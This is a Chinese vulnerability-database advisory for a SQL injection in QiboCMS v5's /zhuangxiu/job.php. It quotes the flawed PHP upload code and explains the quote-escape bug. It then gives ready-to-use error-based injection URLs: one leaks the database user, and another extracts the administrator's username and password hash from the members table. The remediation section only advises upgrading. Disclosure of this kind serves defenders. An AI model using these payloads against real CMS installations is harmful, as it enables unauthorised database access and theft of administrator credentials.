Qibo Menhu v5 /zhuangxiu/job.php SQL注入漏洞

基本字段

漏洞编号:
SSV-88971
披露/发现时间:
2014-11-06
提交时间:
2014-11-18
漏洞等级:
漏洞类别:
SQL 注入
影响组件:
QiboCMS
(v5)
漏洞作者:
未知
提交者:
Knownsec
CVE-ID:
补充
CNNVD-ID:
补充
CNVD-ID:
补充
ZoomEye Dork:
补充

来源

漏洞详情

贡献者 Knownsec 共获得  0.8KB

  • /zhuangxiu/inc/job/post_img.php
foreach( $_FILES AS $key=>$value ){

$i=(int)substr($key,10);

if(is_array($value)){

$postfile=$value['tmp_name'];

$array[name]=$value['name'];

$array[size]=$value['size'];

} else{

$postfile=$$key;

$array[name]=${$key.'_name'};

$array[size]=${$key.'_size'};

}

if($ftype[$i]=='in'&&$array[name]){

if(!eregi("(gif|jpg|png)$",$array[name])){

showerr("只能上传GIF,JPG,PNG格式的文件,你不能上传此文件:$array[name]");

}

$array[path]=$webdb[updir]."/fenlei/$fid";

$array[updateTable]=1; //统计用户上传的文件占用空间大小

$filename=upfile($postfile,$array);

$photodb[$i]="fenlei/$fid/$filename";

$smallimg=$photodb[$i].'.gif';

$Newpicpath=ROOT_PATH."$webdb[updir]/$smallimg";

gdpic(ROOT_PATH."$webdb[updir]/{$photodb[$i]}",$Newpicpath,300,220,array('fix'=>1));

if(!$rsdb[picurl]){

$rsdb[picurl]=$smallimg;

if(!file_exists(ROOT_PATH."$webdb[updir]/$rsdb[picurl]")){

$rsdb[picurl]=$photodb[$i];

}

$db->query("UPDATE {$_pre}content$_erp SET picurl='$rsdb[picurl]' WHERE id='$id'");

}

/加水印/

if( $webdb[is_waterimg] && $webdb[if_gdimg] )

{

include_once(ROOT_PATH."inc/waterimage.php");

$uploadfile=ROOT_PATH."$webdb[updir]/$photodb[$i]";

imageWaterMark($uploadfile,$webdb[waterpos],ROOT_PATH.$webdb[waterimg]);

}

}

}

foreach( $photodb AS $key=>$value){

if(strlen($value)>4&&!eregi("(gif|jpg|png)$",$value)){

showerr("只能上传GIF,JPG,PNG格式的文件,你不能上传此文件:$value");

}

}

$num=0;

foreach( $photodb AS $key=>$value ){

$titledb[$key]=filtrate($titledb[$key]);

$value=trim($value);

$value=filtrate($value);

if($titledb[$key]>100){

showerr("标题不能大于50个汉字");

}

if(strlen($value)<4){

$db->query("DELETE FROM {$_pre}pic WHERE pid='{$piddb[$key]}' AND id='$id'");

}elseif($piddb[$key]){

$num++;

$db->query("UPDATE {$_pre}pic SET name='{$titledb[$key]}',imgurl='$value' WHERE pid='{$piddb[$key]}'");

}elseif($value){

$num++;

$db->query("INSERT INTO {$_pre}pic ( id , fid , mid , uid , type , imgurl , name ) VALUES ( '$id', '$fid', '$mid', '$lfjuid', '0', '$value', '{$titledb[$key]}')");

}

}

由于$imgurl未作初始化,结合全局机制,可以控制。并且当传入$tabledb为字符时,将会取$tabledb[0],所以传入单引号会截断到“\”造成单引号逃逸。

当传入:

http://192.168.199.224/qibo5/zhuangxiu/job.php?photodb%5B%5D=and (select 1 from (select count(),concat((select user()),floor(rand(0)2))x from information_schema.tables group by x)a)%23.jpg&piddb%5B%5D=xxx&job=post_img&titledb=%27&act=edit&_erp=xxx&id=1

执行的SQL语句为:

UPDATE qb_zhuangxiu_pic SET name='\',imgurl='and (select 1 from (select count(),concat((select user()),floor(rand(0)2))x from information_schema.tables group by x)a)#.jpg' WHERE pid='xxx'

页面返回: 

7E050E68-5FB9-4490-A6DB-A9ECE2BC4597.png

证明漏洞存在。

访问地址:

http://192.168.199.224/qibo5/zhuangxiu/job.php?photodb%5B%5D=and (select 1 from (select count(),concat((select concat(username,0x3a3a,password) from qb_members limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)%23.jpg&piddb%5B%5D=xxx&job=post_img&titledb=%27&act=edit&_erp=xxx&id=1

得到管理员帐号密码 

neargle Funhity k2yk Al3x 共 6  兑换了

PoC (pocsuite 插件) (pocsuite 插件)

贡献者 Knownsec 共获得   1.4KB
登陆后兑换查看

neargle 共 2 兑换

参考链接

解决方案

临时解决方案

升级官方最新版本

官方解决方案

暂无官方解决方案

防护方案

暂无防护方案

人气 1513
评论前需绑定手机 现在绑定

暂无评论

※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负